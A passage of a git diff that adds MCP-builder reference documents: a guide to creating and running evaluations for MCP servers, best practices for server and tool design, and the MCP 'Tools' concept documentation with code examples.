endpoints and functionality +- If ambiguity exists, fetch additional information from the web +- Parallelize this step AS MUCH AS POSSIBLE +- Ensure each subagent is ONLY examining documentation from the file system or on the web + +### Step 2: Tool Inspection + +List the tools available in the MCP server: +- Inspect the MCP server directly +- Understand input/output schemas, docstrings, and descriptions +- WITHOUT calling the tools themselves at this stage + +### Step 3: Developing Understanding + +Repeat steps 1 & 2 until you have a good understanding: +- Iterate multiple times +- Think about the kinds of tasks you want to create +- Refine your understanding +- At NO stage should you READ the code of the MCP server implementation itself +- Use your intuition and understanding to create reasonable, realistic, but VERY challenging tasks + +### Step 4: Read-Only Content Inspection + +After understanding the API and tools, USE the MCP server tools: +- Inspect content using READ-ONLY and NON-DESTRUCTIVE operations ONLY +- Goal: identify specific content (e.g., users, channels, messages, projects, tasks) for creating realistic questions +- Should NOT call any tools that modify state +- Will NOT read the code of the MCP server implementation itself +- Parallelize this step with individual sub-agents pursuing independent explorations +- Ensure each subagent is only performing READ-ONLY, NON-DESTRUCTIVE, and IDEMPOTENT operations +- BE CAREFUL: SOME TOOLS may return LOTS OF DATA which would cause you to run out of CONTEXT +- Make INCREMENTAL, SMALL, AND TARGETED tool calls for exploration +- In all tool call requests, use the `limit` parameter to limit results (<10) +- Use pagination + +### Step 5: Task Generation + +After inspecting the content, create 10 human-readable questions: +- An LLM should be able to answer these with the MCP server +- Follow all question and answer guidelines above + +## Output Format + +Each QA pair consists of a question and an answer. The output should be an XML file with this structure: + +```xml + + + Find the project created in Q2 2024 with the highest number of completed tasks. What is the project name? + Website Redesign + + + Search for issues labeled as "bug" that were closed in March 2024. Which user closed the most issues? Provide their username. + sarah_dev + + + Look for pull requests that modified files in the /api directory and were merged between January 1 and January 31, 2024. How many different contributors worked on these PRs? + 7 + + + Find the repository with the most stars that was created before 2023. What is the repository name? + data-pipeline + + +``` + +## Evaluation Examples + +### Good Questions + +**Example 1: Multi-hop question requiring deep exploration (GitHub MCP)** +```xml + + Find the repository that was archived in Q3 2023 and had previously been the most forked project in the organization. What was the primary programming language used in that repository? + Python + +``` + +This question is good because: +- Requires multiple searches to find archived repositories +- Needs to identify which had the most forks before archival +- Requires examining repository details for the language +- Answer is a simple, verifiable value +- Based on historical (closed) data that won't change + +**Example 2: Requires understanding context without keyword matching (Project Management MCP)** +```xml + + Locate the initiative focused on improving customer onboarding that was completed in late 2023. The project lead created a retrospective document after completion. What was the lead's role title at that time? + Product Manager + +``` + +This question is good because: +- Doesn't use specific project name ("initiative focused on improving customer onboarding") +- Requires finding completed projects from specific timeframe +- Needs to identify the project lead and their role +- Requires understanding context from retrospective documents +- Answer is human-readable and stable +- Based on completed work (won't change) + +**Example 3: Complex aggregation requiring multiple steps (Issue Tracker MCP)** +```xml + + Among all bugs reported in January 2024 that were marked as critical priority, which assignee resolved the highest percentage of their assigned bugs within 48 hours? Provide the assignee's username. + alex_eng + +``` + +This question is good because: +- Requires filtering bugs by date, priority, and status +- Needs to group by assignee and calculate resolution rates +- Requires understanding timestamps to determine 48-hour windows +- Tests pagination (potentially many bugs to process) +- Answer is a single username +- Based on historical data from specific time period + +**Example 4: Requires synthesis across multiple data types (CRM MCP)** +```xml + + Find the account that upgraded from the Starter to Enterprise plan in Q4 2023 and had the highest annual contract value. What industry does this account operate in? + Healthcare + +``` + +This question is good because: +- Requires understanding subscription tier changes +- Needs to identify upgrade events in specific timeframe +- Requires comparing contract values +- Must access account industry information +- Answer is simple and verifiable +- Based on completed historical transactions + +### Poor Questions + +**Example 1: Answer changes over time** +```xml + + How many open issues are currently assigned to the engineering team? + 47 + +``` + +This question is poor because: +- The answer will change as issues are created, closed, or reassigned +- Not based on stable/stationary data +- Relies on "current state" which is dynamic + +**Example 2: Too easy with keyword search** +```xml + + Find the pull request with title "Add authentication feature" and tell me who created it. + developer123 + +``` + +This question is poor because: +- Can be solved with a straightforward keyword search for exact title +- Doesn't require deep exploration or understanding +- No synthesis or analysis needed + +**Example 3: Ambiguous answer format** +```xml + + List all the repositories that have Python as their primary language. + repo1, repo2, repo3, data-pipeline, ml-tools + +``` + +This question is poor because: +- Answer is a list that could be returned in any order +- Difficult to verify with direct string comparison +- LLM might format differently (JSON array, comma-separated, newline-separated) +- Better to ask for a specific aggregate (count) or superlative (most stars) + +## Verification Process + +After creating evaluations: + +1. **Examine the XML file** to understand the schema +2. **Load each task instruction** and in parallel using the MCP server and tools, identify the correct answer by attempting to solve the task YOURSELF +3. **Flag any operations** that require WRITE or DESTRUCTIVE operations +4. **Accumulate all CORRECT answers** and replace any incorrect answers in the document +5. **Remove any ``** that require WRITE or DESTRUCTIVE operations + +Remember to parallelize solving tasks to avoid running out of context, then accumulate all answers and make changes to the file at the end. + +## Tips for Creating Quality Evaluations + +1. **Think Hard and Plan Ahead** before generating tasks +2. **Parallelize Where Opportunity Arises** to speed up the process and manage context +3. **Focus on Realistic Use Cases** that humans would actually want to accomplish +4. **Create Challenging Questions** that test the limits of the MCP server's capabilities +5. **Ensure Stability** by using historical data and closed concepts +6. **Verify Answers** by solving the questions yourself using the MCP server tools +7. **Iterate and Refine** based on what you learn during the process + +--- + +# Running Evaluations + +After creating your evaluation file, you can use the provided evaluation harness to test your MCP server. + +## Setup + +1. **Install Dependencies** + + ```bash + pip install -r scripts/requirements.txt + ``` + + Or install manually: + ```bash + pip install anthropic mcp + ``` + +2. **Set API Key** + + ```bash + export ANTHROPIC_API_KEY=your_api_key_here + ``` + +## Evaluation File Format + +Evaluation files use XML format with `` elements: + +```xml + + + Find the project created in Q2 2024 with the highest number of completed tasks. What is the project name? + Website Redesign + + + Search for issues labeled as "bug" that were closed in March 2024. Which user closed the most issues? Provide their username. + sarah_dev + + +``` + +## Running Evaluations + +The evaluation script (`scripts/evaluation.py`) supports three transport types: + +**Important:** +- **stdio transport**: The evaluation script automatically launches and manages the MCP server process for you. Do not run the server manually. +- **sse/http transports**: You must start the MCP server separately before running the evaluation. The script connects to the already-running server at the specified URL. + +### 1. Local STDIO Server + +For locally-run MCP servers (script launches the server automatically): + +```bash +python scripts/evaluation.py \ + -t stdio \ + -c python \ + -a my_mcp_server.py \ + evaluation.xml +``` + +With environment variables: +```bash +python scripts/evaluation.py \ + -t stdio \ + -c python \ + -a my_mcp_server.py \ + -e API_KEY=abc123 \ + -e DEBUG=true \ + evaluation.xml +``` + +### 2. Server-Sent Events (SSE) + +For SSE-based MCP servers (you must start the server first): + +```bash +python scripts/evaluation.py \ + -t sse \ + -u https://example.com/mcp \ + -H "Authorization: Bearer token123" \ + -H "X-Custom-Header: value" \ + evaluation.xml +``` + +### 3. HTTP (Streamable HTTP) + +For HTTP-based MCP servers (you must start the server first): + +```bash +python scripts/evaluation.py \ + -t http \ + -u https://example.com/mcp \ + -H "Authorization: Bearer token123" \ + evaluation.xml +``` + +## Command-Line Options + +``` +usage: evaluation.py [-h] [-t {stdio,sse,http}] [-m MODEL] [-c COMMAND] + [-a ARGS [ARGS ...]] [-e ENV [ENV ...]] [-u URL] + [-H HEADERS [HEADERS ...]] [-o OUTPUT] + eval_file + +positional arguments: + eval_file Path to evaluation XML file + +optional arguments: + -h, --help Show help message + -t, --transport Transport type: stdio, sse, or http (default: stdio) + -m, --model Claude model to use (default: claude-3-7-sonnet-20250219) + -o, --output Output file for report (default: print to stdout) + +stdio options: + -c, --command Command to run MCP server (e.g., python, node) + -a, --args Arguments for the command (e.g., server.py) + -e, --env Environment variables in KEY=VALUE format + +sse/http options: + -u, --url MCP server URL + -H, --header HTTP headers in 'Key: Value' format +``` + +## Output + +The evaluation script generates a detailed report including: + +- **Summary Statistics**: + - Accuracy (correct/total) + - Average task duration + - Average tool calls per task + - Total tool calls + +- **Per-Task Results**: + - Prompt and expected response + - Actual response from the agent + - Whether the answer was correct (✅/❌) + - Duration and tool call details + - Agent's summary of its approach + - Agent's feedback on the tools + +### Save Report to File + +```bash +python scripts/evaluation.py \ + -t stdio \ + -c python \ + -a my_server.py \ + -o evaluation_report.md \ + evaluation.xml +``` + +## Complete Example Workflow + +Here's a complete example of creating and running an evaluation: + +1. **Create your evaluation file** (`my_evaluation.xml`): + +```xml + + + Find the user who created the most issues in January 2024. What is their username? + alice_developer + + + Among all pull requests merged in Q1 2024, which repository had the highest number? Provide the repository name. + backend-api + + + Find the project that was completed in December 2023 and had the longest duration from start to finish. How many days did it take? + 127 + + +``` + +2. **Install dependencies**: + +```bash +pip install -r scripts/requirements.txt +export ANTHROPIC_API_KEY=your_api_key +``` + +3. **Run evaluation**: + +```bash +python scripts/evaluation.py \ + -t stdio \ + -c python \ + -a github_mcp_server.py \ + -e GITHUB_TOKEN=ghp_xxx \ + -o github_eval_report.md \ + my_evaluation.xml +``` + +4. **Review the report** in `github_eval_report.md` to: + - See which questions passed/failed + - Read the agent's feedback on your tools + - Identify areas for improvement + - Iterate on your MCP server design + +## Troubleshooting + +### Connection Errors + +If you get connection errors: +- **STDIO**: Verify the command and arguments are correct +- **SSE/HTTP**: Check the URL is accessible and headers are correct +- Ensure any required API keys are set in environment variables or headers + +### Low Accuracy + +If many evaluations fail: +- Review the agent's feedback for each task +- Check if tool descriptions are clear and comprehensive +- Verify input parameters are well-documented +- Consider whether tools return too much or too little data +- Ensure error messages are actionable + +### Timeout Issues + +If tasks are timing out: +- Use a more capable model (e.g., `claude-3-7-sonnet-20250219`) +- Check if tools are returning too much data +- Verify pagination is working correctly +- Consider simplifying complex questions \ No newline at end of file diff --git a/skills/mcp-builder/reference/mcp_best_practices.md b/skills/mcp-builder/reference/mcp_best_practices.md new file mode 100644 index 0000000..db42af7 --- /dev/null +++ b/skills/mcp-builder/reference/mcp_best_practices.md @@ -0,0 +1,915 @@ +# MCP Server Development Best Practices and Guidelines + +## Overview + +This document compiles essential best practices and guidelines for building Model Context Protocol (MCP) servers. It covers naming conventions, tool design, response formats, pagination, error handling, security, and compliance requirements. + +--- + +## Quick Reference + +### Server Naming +- **Python**: `{service}_mcp` (e.g., `slack_mcp`) +- **Node/TypeScript**: `{service}-mcp-server` (e.g., `slack-mcp-server`) + +### Tool Naming +- Use snake_case with service prefix +- Format: `{service}_{action}_{resource}` +- Example: `slack_send_message`, `github_create_issue` + +### Response Formats +- Support both JSON and Markdown formats +- JSON for programmatic processing +- Markdown for human readability + +### Pagination +- Always respect `limit` parameter +- Return `has_more`, `next_offset`, `total_count` +- Default to 20-50 items + +### Character Limits +- Set CHARACTER_LIMIT constant (typically 25,000) +- Truncate gracefully with clear messages +- Provide guidance on filtering + +--- + +## Table of Contents +1. Server Naming Conventions +2. Tool Naming and Design +3. Response Format Guidelines +4. Pagination Best Practices +5. Character Limits and Truncation +6. Tool Development Best Practices +7. Transport Best Practices +8. Testing Requirements +9. OAuth and Security Best Practices +10. Resource Management Best Practices +11. Prompt Management Best Practices +12. Error Handling Standards +13. Documentation Requirements +14. Compliance and Monitoring + +--- + +## 1. Server Naming Conventions + +Follow these standardized naming patterns for MCP servers: + +**Python**: Use format `{service}_mcp` (lowercase with underscores) +- Examples: `slack_mcp`, `github_mcp`, `jira_mcp`, `stripe_mcp` + +**Node/TypeScript**: Use format `{service}-mcp-server` (lowercase with hyphens) +- Examples: `slack-mcp-server`, `github-mcp-server`, `jira-mcp-server` + +The name should be: +- General (not tied to specific features) +- Descriptive of the service/API being integrated +- Easy to infer from the task description +- Without version numbers or dates + +--- + +## 2. Tool Naming and Design + +### Tool Naming Best Practices + +1. **Use snake_case**: `search_users`, `create_project`, `get_channel_info` +2. **Include service prefix**: Anticipate that your MCP server may be used alongside other MCP servers + - Use `slack_send_message` instead of just `send_message` + - Use `github_create_issue` instead of just `create_issue` + - Use `asana_list_tasks` instead of just `list_tasks` +3. **Be action-oriented**: Start with verbs (get, list, search, create, etc.) +4. **Be specific**: Avoid generic names that could conflict with other servers +5. **Maintain consistency**: Use consistent naming patterns within your server + +### Tool Design Guidelines + +- Tool descriptions must narrowly and unambiguously describe functionality +- Descriptions must precisely match actual functionality +- Should not create confusion with other MCP servers +- Should provide tool annotations (readOnlyHint, destructiveHint, idempotentHint, openWorldHint) +- Keep tool operations focused and atomic + +--- + +## 3. Response Format Guidelines + +All tools that return data should support multiple formats for flexibility: + +### JSON Format (`response_format="json"`) +- Machine-readable structured data +- Include all available fields and metadata +- Consistent field names and types +- Suitable for programmatic processing +- Use for when LLMs need to process data further + +### Markdown Format (`response_format="markdown"`, typically default) +- Human-readable formatted text +- Use headers, lists, and formatting for clarity +- Convert timestamps to human-readable format (e.g., "2024-01-15 10:30:00 UTC" instead of epoch) +- Show display names with IDs in parentheses (e.g., "@john.doe (U123456)") +- Omit verbose metadata (e.g., show only one profile image URL, not all sizes) +- Group related information logically +- Use for when presenting information to users + +--- + +## 4. Pagination Best Practices + +For tools that list resources: + +- **Always respect the `limit` parameter**: Never load all results when a limit is specified +- **Implement pagination**: Use `offset` or cursor-based pagination +- **Return pagination metadata**: Include `has_more`, `next_offset`/`next_cursor`, `total_count` +- **Never load all results into memory**: Especially important for large datasets +- **Default to reasonable limits**: 20-50 items is typical +- **Include clear pagination info in responses**: Make it easy for LLMs to request more data + +Example pagination response structure: +```json +{ + "total": 150, + "count": 20, + "offset": 0, + "items": [...], + "has_more": true, + "next_offset": 20 +} +``` + +--- + +## 5. Character Limits and Truncation + +To prevent overwhelming responses with too much data: + +- **Define CHARACTER_LIMIT constant**: Typically 25,000 characters at module level +- **Check response size before returning**: Measure the final response length +- **Truncate gracefully with clear indicators**: Let the LLM know data was truncated +- **Provide guidance on filtering**: Suggest how to use parameters to reduce results +- **Include truncation metadata**: Show what was truncated and how to get more + +Example truncation handling: +```python +CHARACTER_LIMIT = 25000 + +if len(result) > CHARACTER_LIMIT: + truncated_data = data[:max(1, len(data) // 2)] + response["truncated"] = True + response["truncation_message"] = ( + f"Response truncated from {len(data)} to {len(truncated_data)} items. " + f"Use 'offset' parameter or add filters to see more results." + ) +``` + +--- + +## 6. Transport Options + +MCP servers support multiple transport mechanisms for different deployment scenarios: + +### Stdio Transport + +**Best for**: Command-line tools, local integrations, subprocess execution + +**Characteristics**: +- Standard input/output stream communication +- Simple setup, no network configuration needed +- Runs as a subprocess of the client +- Ideal for desktop applications and CLI tools + +**Use when**: +- Building tools for local development environments +- Integrating with desktop applications (e.g., Claude Desktop) +- Creating command-line utilities +- Single-user, single-session scenarios + +### HTTP Transport + +**Best for**: Web services, remote access, multi-client scenarios + +**Characteristics**: +- Request-response pattern over HTTP +- Supports multiple simultaneous clients +- Can be deployed as a web service +- Requires network configuration and security considerations + +**Use when**: +- Serving multiple clients simultaneously +- Deploying as a cloud service +- Integration with web applications +- Need for load balancing or scaling + +### Server-Sent Events (SSE) Transport + +**Best for**: Real-time updates, push notifications, streaming data + +**Characteristics**: +- One-way server-to-client streaming over HTTP +- Enables real-time updates without polling +- Long-lived connections for continuous data flow +- Built on standard HTTP infrastructure + +**Use when**: +- Clients need real-time data updates +- Implementing push notifications +- Streaming logs or monitoring data +- Progressive result delivery for long operations + +### Transport Selection Criteria + +| Criterion | Stdio | HTTP | SSE | +|-----------|-------|------|-----| +| **Deployment** | Local | Remote | Remote | +| **Clients** | Single | Multiple | Multiple | +| **Communication** | Bidirectional | Request-Response | Server-Push | +| **Complexity** | Low | Medium | Medium-High | +| **Real-time** | No | No | Yes | + +--- + +## 7. Tool Development Best Practices + +### General Guidelines +1. Tool names should be descriptive and action-oriented +2. Use parameter validation with detailed JSON schemas +3. Include examples in tool descriptions +4. Implement proper error handling and validation +5. Use progress reporting for long operations +6. Keep tool operations focused and atomic +7. Document expected return value structures +8. Implement proper timeouts +9. Consider rate limiting for resource-intensive operations +10. Log tool usage for debugging and monitoring + +### Security Considerations for Tools + +#### Input Validation +- Validate all parameters against schema +- Sanitize file paths and system commands +- Validate URLs and external identifiers +- Check parameter sizes and ranges +- Prevent command injection + +#### Access Control +- Implement authentication where needed +- Use appropriate authorization checks +- Audit tool usage +- Rate limit requests +- Monitor for abuse + +#### Error Handling +- Don't expose internal errors to clients +- Log security-relevant errors +- Handle timeouts appropriately +- Clean up resources after errors +- Validate return values + +### Tool Annotations +- Provide readOnlyHint and destructiveHint annotations +- Remember annotations are hints, not security guarantees +- Clients should not make security-critical decisions based solely on annotations + +--- + +## 8. Transport Best Practices + +### General Transport Guidelines +1. Handle connection lifecycle properly +2. Implement proper error handling +3. Use appropriate timeout values +4. Implement connection state management +5. Clean up resources on disconnection + +### Security Best Practices for Transport +- Follow security considerations for DNS rebinding attacks +- Implement proper authentication mechanisms +- Validate message formats +- Handle malformed messages gracefully + +### Stdio Transport Specific +- Local MCP servers should NOT log to stdout (interferes with protocol) +- Use stderr for logging messages +- Handle standard I/O streams properly + +--- + +## 9. Testing Requirements + +A comprehensive testing strategy should cover: + +### Functional Testing +- Verify correct execution with valid/invalid inputs + +### Integration Testing +- Test interaction with external systems + +### Security Testing +- Validate auth, input sanitization, rate limiting + +### Performance Testing +- Check behavior under load, timeouts + +### Error Handling +- Ensure proper error reporting and cleanup + +--- + +## 10. OAuth and Security Best Practices + +### Authentication and Authorization + +MCP servers that connect to external services should implement proper authentication: + +**OAuth 2.1 Implementation:** +- Use secure OAuth 2.1 with certificates from recognized authorities +- Validate access tokens before processing requests +- Only accept tokens specifically intended for your server +- Reject tokens without proper audience claims +- Never pass through tokens received from MCP clients + +**API Key Management:** +- Store API keys in environment variables, never in code +- Validate keys on server startup +- Provide clear error messages when authentication fails +- Use secure transmission for sensitive credentials + +### Input Validation and Security + +**Always validate inputs:** +- Sanitize file paths to prevent directory traversal +- Validate URLs and external identifiers +- Check parameter sizes and ranges +- Prevent command injection in system calls +- Use schema validation (Pydantic/Zod) for all inputs + +**Error handling security:** +- Don't expose internal errors to clients +- Log security-relevant errors server-side +- Provide helpful but not revealing error messages +- Clean up resources after errors + +### Privacy and Data Protection + +**Data collection principles:** +- Only collect data strictly necessary for functionality +- Don't collect extraneous conversation data +- Don't collect PII unless explicitly required for the tool's purpose +- Provide clear information about what data is accessed + +**Data transmission:** +- Don't send data to servers outside your organization without disclosure +- Use secure transmission (HTTPS) for all network communication +- Validate certificates for external services + +--- + +## 11. Resource Management Best Practices + +1. Only suggest necessary resources +2. Use clear, descriptive names for roots +3. Handle resource boundaries properly +4. Respect client control over resources +5. Use model-controlled primitives (tools) for automatic data exposure + +--- + +## 12. Prompt Management Best Practices + +- Clients should show users proposed prompts +- Users should be able to modify or reject prompts +- Clients should show users completions +- Users should be able to modify or reject completions +- Consider costs when using sampling + +--- + +## 13. Error Handling Standards + +- Use standard JSON-RPC error codes +- Report tool errors within result objects (not protocol-level) +- Provide helpful, specific error messages +- Don't expose internal implementation details +- Clean up resources properly on errors + +--- + +## 14. Documentation Requirements + +- Provide clear documentation of all tools and capabilities +- Include working examples (at least 3 per major feature) +- Document security considerations +- Specify required permissions and access levels +- Document rate limits and performance characteristics + +--- + +## 15. Compliance and Monitoring + +- Implement logging for debugging and monitoring +- Track tool usage patterns +- Monitor for potential abuse +- Maintain audit trails for security-relevant operations +- Be prepared for ongoing compliance reviews + +--- + +## Summary + +These best practices represent the comprehensive guidelines for building secure, efficient, and compliant MCP servers that work well within the ecosystem. Developers should follow these guidelines to ensure their MCP servers meet the standards for inclusion in the MCP directory and provide a safe, reliable experience for users. + + +---------- + + +# Tools + +> Enable LLMs to perform actions through your server + +Tools are a powerful primitive in the Model Context Protocol (MCP) that enable servers to expose executable functionality to clients. Through tools, LLMs can interact with external systems, perform computations, and take actions in the real world. + + + Tools are designed to be **model-controlled**, meaning that tools are exposed from servers to clients with the intention of the AI model being able to automatically invoke them (with a human in the loop to grant approval). + + +## Overview + +Tools in MCP allow servers to expose executable functions that can be invoked by clients and used by LLMs to perform actions. Key aspects of tools include: + +* **Discovery**: Clients can obtain a list of available tools by sending a `tools/list` request +* **Invocation**: Tools are called using the `tools/call` request, where servers perform the requested operation and return results +* **Flexibility**: Tools can range from simple calculations to complex API interactions + +Like [resources](/docs/concepts/resources), tools are identified by unique names and can include descriptions to guide their usage. However, unlike resources, tools represent dynamic operations that can modify state or interact with external systems. + +## Tool definition structure + +Each tool is defined with the following structure: + +```typescript +{ + name: string; // Unique identifier for the tool + description?: string; // Human-readable description + inputSchema: { // JSON Schema for the tool's parameters + type: "object", + properties: { ... } // Tool-specific parameters + }, + annotations?: { // Optional hints about tool behavior + title?: string; // Human-readable title for the tool + readOnlyHint?: boolean; // If true, the tool does not modify its environment + destructiveHint?: boolean; // If true, the tool may perform destructive updates + idempotentHint?: boolean; // If true, repeated calls with same args have no additional effect + openWorldHint?: boolean; // If true, tool interacts with external entities + } +} +``` + +## Implementing tools + +Here's an example of implementing a basic tool in an MCP server: + + + + ```typescript + const server = new Server({ + name: "example-server", + version: "1.0.0" + }, { + capabilities: { + tools: {} + } + }); + + // Define available tools + server.setRequestHandler(ListToolsRequestSchema, async () => { + return { + tools: [{ + name: "calculate_sum", + description: "Add two numbers together", + inputSchema: { + type: "object", + properties: { + a: { type: "number" }, + b: { type: "number" } + }, + required: ["a", "b"] + } + }] + }; + }); + + // Handle tool execution + server.setRequestHandler(CallToolRequestSchema, async (request) => { + if (request.params.name === "calculate_sum") { + const { a, b } = request.params.arguments; + return { + content: [ + { + type: "text", + text: String(a + b) + } + ] + }; + } + throw new Error("Tool not found"); + }); + ``` + + + + ```python + app = Server("example-server") + + @app.list_tools() + async def list_tools() -> list[types.Tool]: + return [ + types.Tool( + name="calculate_sum", + description="Add two numbers together", + inputSchema={ + "type": "object", + "properties": { + "a": {"type": "number"}, + "b": {"type": "number"} + }, + "required": ["a", "b"] + } + ) + ] + + @app.call_tool() + async def call_tool( + name: str, + arguments: dict + ) -> list[types.TextContent | types.ImageContent | types.EmbeddedResource]: + if name == "calculate_sum": + a = arguments["a"] + b = arguments["b"] + result = a + b + return [types.TextContent(type="text", text=str(result))] + raise ValueError(f"Tool not found: {name}") + ``` + + + +## Example tool patterns + +Here are some examples of types of tools that a server could provide: + +### System operations + +Tools that interact with the local system: + +```typescript +{ + name: "execute_command", + description: "Run a shell command", + inputSchema: { + type: "object", + properties: { + command: { type: "string" }, + args: { type: "array", items: { type: "string" } } + } + } +} +``` + +### API integrations + +Tools that wrap external APIs: + +```typescript +{ + name: "github_create_issue", + description: "Create a GitHub issue", + inputSchema: { + type: "object", + properties: { + title: { type: "string" }, + body: { type: "string" }, + labels: { type: "array", items: { type: "string" } } + } + } +} +``` + +### Data processing + +Tools that transform or analyze data: + +```typescript +{ + name: "analyze_csv", + description: "Analyze a CSV file", + inputSchema: { + type: "object", + properties: { + filepath: { type: "string" }, + operations: { + type: "array", + items: { + enum: ["sum", "average", "count"] + } + } + } + } +} +``` + +## Best practices + +When implementing tools: + +1. Provide clear, descriptive names and descriptions +2. Use detailed JSON Schema definitions for parameters +3. Include examples in tool descriptions to demonstrate how the model should use them +4. Implement proper error handling and validation +5. Use progress reporting for long operations +6. Keep tool operations focused and atomic +7. Document expected return value structures +8. Implement proper timeouts +9. Consider rate limiting for resource-intensive operations +10. Log tool usage for debugging and monitoring + +### Tool name conflicts + +MCP client applications and MCP server proxies may encounter tool name conflicts when building their own tool lists. For example, two connected MCP servers `web1` and `web2` may both expose a tool named `search_web`. + +Applications may disambiguiate tools with one of the following strategies (among others; not an exhaustive list): + +* Concatenating a unique, user-defined server name with the tool name, e.g. `web1___search_web` and `web2___search_web`. This strategy may be preferable when unique server names are already provided by the user in a configuration file. +* Generating a random prefix for the tool name, e.g. `jrwxs___search_web` and `6cq52___search_web`. This strategy may be preferable in server proxies where user-defined unique names are not available. +* Using the server URI as a prefix for the tool name, e.g. `web1.example.com:search_web` and `web2.example.com:search_web`. This strategy may be suitable when working with remote MCP servers. + +Note that the server-provided name from the initialization flow is not guaranteed to be unique and is not generally suitable for disambiguation purposes. + +## Security considerations + +When exposing tools: + +### Input validation + +* Validate all parameters against the schema +* Sanitize file paths and system commands +* Validate URLs and external identifiers +* Check parameter sizes and ranges +* Prevent command injection + +### Access control + +* Implement authentication where needed +* Use appropriate authorization checks +* Audit tool usage +* Rate limit requests +* Monitor for abuse + +### Error handling + +* Don't expose internal errors to clients +* Log security-relevant errors +* Handle timeouts appropriately +* Clean up resources after errors +* Validate return values + +## Tool discovery and updates + +MCP supports dynamic tool discovery: + +1. Clients can list available tools at any time +2. Servers can notify clients when tools change using `notifications/tools/list_changed` +3. Tools can be added or removed during runtime +4. Tool definitions can be updated (though this should be done carefully) + +## Error handling + +Tool errors should be reported within the result object, not as MCP protocol-level errors. This allows the LLM to see and potentially handle the error. When a tool encounters an error: + +1. Set `isError` to `true` in the result +2. Include error details in the `content` array + +Here's an example of proper error handling for tools: + + + + ```typescript + try { + // Tool operation + const result = performOperation(); + return { + content: [ + { + type: "text", + text: `Operation successful: ${result}` + } + ] + }; + } catch (error) { + return { + isError: true, + content: [ + { + type: "text", + text: `Error: ${error.message}` + } + ] + }; + } + ``` + + + + ```python + try: + # Tool operation + result = perform_operation() + return types.CallToolResult( + content=[ + types.TextContent( + type="text", + text=f"Operation successful: {result}" + ) + ] + ) + except Exception as error: + return types.CallToolResult( + isError=True, + content=[ + types.TextContent( + type="text", + text=f"Error: {str(error)}" + ) + ] + ) + ``` + + + +This approach allows the LLM to see that an error occurred and potentially take corrective action or request human intervention. + +## Tool annotations + +Tool annotations provide additional metadata about a tool's behavior, helping clients understand how to present and manage tools. These annotations are hints that describe the nature and impact of a tool, but should not be relied upon for security decisions. + +### Purpose of tool annotations + +Tool annotations serve several key purposes: + +1. Provide UX-specific information without affecting model context +2. Help clients categorize and present tools appropriately +3. Convey information about a tool's potential side effects +4. Assist in developing intuitive interfaces for tool approval + +### Available tool annotations + +The MCP specification defines the following annotations for tools: + +| Annotation | Type | Default | Description | +| ----------------- | ------- | ------- | ------------------------------------------------------------------------------------------------------------------------------------ | +| `title` | string | - | A human-readable title for the tool, useful for UI display | +| `readOnlyHint` | boolean | false | If true, indicates the tool does not modify its environment | +| `destructiveHint` | boolean | true | If true, the tool may perform destructive updates (only meaningful when `readOnlyHint` is false) | +| `idempotentHint` | boolean | false | If true, calling the tool repeatedly with the same arguments has no additional effect (only meaningful when `readOnlyHint` is false) | +| `openWorldHint` | boolean | true | If true, the tool may interact with an "open world" of external entities | + +### Example usage + +Here's how to define tools with annotations for different scenarios: + +```typescript +// A read-only search tool +{ + name: "web_search", + description: "Search the web for information", + inputSchema: { + type: "object", + properties: { + query: { type: "string" } + }, + required: ["query"] + }, + annotations: { + title: "Web Search", + readOnlyHint: true, + openWorldHint: true + } +} + +// A destructive file deletion tool +{ + name: "delete_file", + description: "Delete a file from the filesystem", + inputSchema: { + type: "object", + properties: { + path: { type: "string" } + }, + required: ["path"] + }, + annotations: { + title: "Delete File", + readOnlyHint: false, + destructiveHint: true, + idempotentHint: true, + openWorldHint: false + } +} + +// A non-destructive database record creation tool +{ + name: "create_record", + description: "Create a new record in the database", + inputSchema: { + type: "object", + properties: { + table: { type: "string" }, + data: { type: "object" } + }, + required: ["table", "data"] + }, + annotations: { + title: "Create Database Record", + readOnlyHint: false, + destructiveHint: false, + idempotentHint: false, + openWorldHint: false + } +} +``` + +### Integrating annotations in server implementation + + + + ```typescript + server.setRequestHandler(ListToolsRequestSchema, async () => { + return { + tools: [{ + name: "calculate_sum", + description: "Add two numbers together", + inputSchema: { + type: "object", + properties: { + a: { type: "number" }, + b: { type: "number" } + }, + required: ["a", "b"] + }, + annotations: { + title: "Calculate Sum", + readOnlyHint: true, + openWorldHint: false + } + }] + }; + }); + ``` + + + + ```python + from mcp.server.fastmcp import FastMCP + + mcp = FastMCP("example-server") + + @mcp.tool( + annotations={ + "title": "Calculate Sum", + "readOnlyHint": True, + "openWorldHint": False + } + ) + async def calculate_sum(a: float, b: float) -> str: + """Add two numbers together. + + Args: + a: First number to add + b: Second number to add + """ + result = a + b + return str(result) + ``` + + + +### Best practices for tool annotations + +1. **Be accurate about side effects**: Clearly indicate whether a tool modifies its environment and whether those modifications are destructive. + +2. **Use descriptive titles**: Provide human-friendly titles that clearly describe the tool's purpose. + +3. **Indicate idempotency properly**: Mark tools as idempotent only if repeated calls with the same arguments truly have no additional effect. + +4. **Set appropriate open/closed world hints**: Indicate whether a tool interacts with a closed system (like a database) or an open system (like the web). + +5. **Remember annotations are hints**: All properties in ToolAnnotations are hints and not guaranteed to provide a faithful description of tool behavior. Clients should never make security-critical decisions based solely on annotations. + +## Testing tools + +A comprehensive testing strategy for MCP tools should cover: + +* **Functional testing**: Verify tools execute correctly with valid inputs and handle invalid inputs appropriately +* **Integration testing**: Test tool interaction with external systems using both real and mocked dependencies +* **Security testing**: Validate authentication, authorization, input sanitization, and rate limiting +* **Performance testing**: Check behavior under load, timeout handling, and resource cleanup +* **Error handling**: Ensure tools properly report errors through the MCP protocol and clean up resources diff --git a/skills/mcp-builder/reference/node_mcp_server.md b/skills/mcp-builder/reference/node_mcp_server.md new file mode 100644 index 0000000..e66a35b --- /dev/null +++ b/skills/mcp-builder/reference/node_mcp_server.md @@ -0,0 +1,916 @@ +# Node/TypeScript MCP Server Implementation Guide + +## Overview + +This document provides Node/TypeScript-specific best practices and examples for implementing MCP servers using the MCP TypeScript SDK. It covers project structure, server setup, tool registration patterns, input validation with Zod, error handling, and complete working examples. + +--- + +## Quick Reference + +### Key Imports +```typescript +import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; +import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; +import { z } from "zod"; +import axios, { AxiosError } from "axios"; +``` + +### Server Initialization +```typescript +const server = new McpServer({ + name: "service-mcp-server", + version: "1.0.0" +}); +``` + +### Tool Registration Pattern +```typescript +server.registerTool("tool_name", {...config}, async (params) => { + // Implementation +}); +``` + +--- + +## MCP TypeScript SDK + +The official MCP TypeScript 